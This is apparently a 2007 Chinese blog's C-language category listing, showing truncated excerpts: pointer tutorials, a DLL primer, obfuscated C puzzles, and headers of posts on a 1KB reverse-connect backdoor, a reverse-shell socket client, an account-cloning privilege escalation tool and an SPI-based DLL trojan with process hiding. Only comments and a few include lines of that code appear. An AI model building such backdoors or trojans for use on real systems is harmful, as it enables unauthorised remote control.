您正在查看 "c语言" 分类下的文章 2007-07-10 10:04 写ShellCode的时候写的~C版本代码~~没用就丢出来了~
CODE:
/*
1k(程序体积1kb) 反向连接,零管道后门 By Anskya
说明:
不用我多说了吧..黑客一般都会使用的后门程序..
这里只是简单的演示一下..没有添加进程隐藏功能
程序可以在Win9x,Win2k,WinXP,Win2k3上使用
程序体积只有1k(FSG压缩一下会更小)
测试:
本地开启NetCat等工具,监听80端口,会返回一个Shell
*/
#pragma comment(linker,"/ |
2007-07-06 18:56 反连 + sock + 多线程 程序
妈的 大小写一定要对
菜菜 别见笑 - -#
NCclient
/*操你妈 搞了一下午 遇到N个变态问题 还是劳资聪明 搞定 哇哈哈 转载时请注明 QQ:82602935
My BLOG Http://hi.baidu.com/xh_hook
*/
#include <WINSOCK.H>
#include <stdio.h>
#pragma comment (lib,"ws2_32.lib")
DWORD WINAPI ThreadProc(
LPVOID s // thread data
);
int main (int a |
2007-05-07 14:44 本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和sinister的指点
WEBSHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SERV提权/反弹CMDSHELL
#include <windows.h>
#inc |
2007-05-06 20:51 第一章。指针的概念
指针是一个特殊的变量,它里面存储的数值被解释成为内存里的一个地址。
要搞清一个指针需要搞清指针的四方面的内容:指针的类型,指针所指向的类型,指针的值或者叫指针所指向的内存区,还有指针本身所占据的内存区。让我们分别说明。
先声明几个指针放着做例子:
例一:
(1)int *ptr;
(2)char *ptr;
(3)int **ptr;
(4)int (*ptr)[3];
(5)int *(*ptr)[4];
如果看不懂后几个例子的话,请参阅我前段时间贴出的文章<<如何理解c和c++的复杂类 |
2007-05-06 20:50 第四章 指针表达式
一个表达式的最后结果如果是一个指针,那么这个表达式就叫指针表达式。
下面是一些指针表达式的例子:
例六:
int a,b;
int array[10];
int *pa;
pa=&a;//&a是一个指针表达式。
int **ptr=&pa;//&pa也是一个指针表达式。
*ptr=&b;//*ptr和&b都是指针表达式。
pa=array;
pa++;//这也是指针表达式。
例七:
char *arr[20];
char **parr=arr;//如果把arr看作指针的话,arr也是指针表达 |
2007-05-06 20:48 第七章。指针和函数的关系
可以把一个指针声明成为一个指向函数的指针。
int fun1(char*,int);
int (*pfun1)(char*,int);
pfun1=fun1;
....
....
int a=(*pfun1)("abcdefg",7);//通过函数指针调用函数。
可以把指针作为函数的形参。在函数调用语句中,可以用指针表达式来作为实参。
例十三:
int fun(char*);
int a;
char str[]="abcdefghijklmn";
a=fun(str);
...
...
int fun(char*s)
{
int num=0;
for(int i=0;i { |
2007-04-17 0:18 一.Windows下进程的隐藏
二.Windows Socket 2 SPI技术概述
三.基于SPI的DLL木马技术
四.主要代码分析
五.小结与后记
六.附录之源代码
一)Windows下进程的隐藏
在M$的32位操作系统中,有许许多多的办法可以实现进程隐藏的功能。在Win98下将程序注册为系统 |
2007-04-01 1:08 也是一系列的第二,间隔时间比较长了
1.不知道有多少人记得或者看过菜鸟神功之一的,里面提到的SOFTICE和PE文件相
关的一点知识,以及PE文件结构,对你继续看这个都有帮助
2.如果你连菜鸟功一里关于ASM的分析都没懂,那么最好去看看我另外一篇
制作SCARED的修改器的文章
3.如果你想有个对照,可以去找找我发那份反汇编,里面有完整的
引入信息表,结构表,DLL调用表,可以省下不少麻烦的
最好去找一份来看看
----------------------------------------------------------------------- |
2007-03-08 23:16 一、前言
自从微软推出16位的Windows操作系统起,此后每种版本的Windows操作系统都非常依赖于动态链接库(DLL)中的函数和数据,实际上Windows操作系统中几乎所有的内容都由DLL以一种或另外一种形式代表着,例如显示的字体和图标存储在GDI DLL中、显示Windows桌面和处理用户的输入所需要的代码被存储在一个User DLL中、Windows编程所需要的大量的API函数也被包含在Kernel DLL中。
在Windows操作系统中使用DLL有很多优点,最主要的一点是多个应用程序、甚至是不同语言编写的应用程序可以共享一个DLL文件,真正 |
2007-03-04 16:56 第一道:
main() { printf(&unix["\021%six\012\0"], (unix)["have"] + "fun" - 0x60); }
第二道:
#include <stdio.h>
main(t,_,a)
char *a;
{
return!0<t?t<3?main(
-79,-13,a+main(
-87,1-_,main(
-86,0,a+1
)+a
)
):1,t<_?main(
t+1,_,a
):3,main(-94,-27+t,a)&&t==2?_<13? |
| | |